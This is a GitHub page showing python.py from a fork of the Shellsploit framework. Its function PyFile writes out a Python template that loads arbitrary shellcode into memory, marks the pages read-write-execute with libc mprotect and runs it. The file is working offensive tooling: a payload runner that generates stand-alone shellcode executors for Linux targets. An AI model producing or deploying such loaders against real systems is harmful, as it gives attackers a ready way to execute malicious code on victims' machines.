forked from laudarch/Shellsploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpython.py
More file actions
39 lines (26 loc) · 1.02 KB
/
Copy pathpython.py
File metadata and controls
39 lines (26 loc) · 1.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#------------------Bombermans Team---------------------------------#
#Author : B3mB4m
#Concat : [email protected]
#Project : https://github.com/b3mb4m/Shellsploit
#LICENSE : https://github.com/b3mb4m/Shellsploit/blob/master/LICENSE
#------------------------------------------------------------------#
from header import *
def PyFile( shellcode):
db = """#!/usr/bin/python
import ctypes
import multiprocessing
#Project : https://github.com/b3mb4m/Shellsploit
#This file created with shellsploit ..
#{0} - {1}
shellcode_data = (b"{2}")
shellcode = ctypes.c_char_p(shellcode_data)
function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None))
addr = ctypes.cast(function, ctypes.c_void_p).value
libc = ctypes.CDLL('libc.so.6')
pagesize = libc.getpagesize()
addr_page = (addr // pagesize) * pagesize
for page_start in range(addr_page, addr + len(shellcode_data), pagesize):
assert libc.mprotect(page_start, pagesize, 0x7) == 0
function()
""".format(strftime("%d/%m/%Y"), strftime("%H:%M:%S"), shellcode)
logs( db, "py")